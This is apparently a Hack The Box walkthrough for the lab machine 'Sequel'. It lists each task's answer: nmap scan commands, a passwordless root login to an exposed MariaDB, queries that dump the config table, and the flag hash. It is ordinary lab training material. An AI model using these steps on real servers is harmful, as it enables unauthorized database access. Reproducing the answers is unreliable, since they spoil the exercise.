Hack The Box - Sequel

Hack The Box - Sequel

Tags
HackTheBox
Walkthrough
Created by
Created time
Apr 29, 2023 02:26 AM

Task 1

During our scan, which port do we find serving MySQL?
nmap -Pn <TARGET MACHINE IP ADDRESS>
Answer: 3306

Task 2

What community-developed MySQL version is the target running?
nmap -sC -sV <TARGET MACHINE IP ADDRESS>
Answer: MariaDB

Task 3

When using the MySQL command line client, what switch do we need to use in order to specify a login username?
Answer: -u

Task 4

Which username allows us to log into this MariaDB instance without providing a password?
Answer: root

Task 5

In SQL, what symbol can we use to specify within the query that we want to display everything inside a table?
Answer: *

Task 6

In SQL, what symbol do we need to end each query with?
Answer: ;

Task 7

There are three databases in this MySQL instance that are common across all MySQL instances. What is the name of the fourth that's unique to this host?
Connect mysql:
mysql -u root -h <TARGET MACHINE IP ADDRESS>
List databases:
show databases;
notion image
Answer: htb

Task 8

Submit root flag
use htb;
notion image
show tables;
notion image
SELECT * from config;
notion image
Congratulations! You got the flag!
Answer: 7b4bec00d1a39e3dd4e021ec3d915da8

Khang Hy

Mon May 08 2023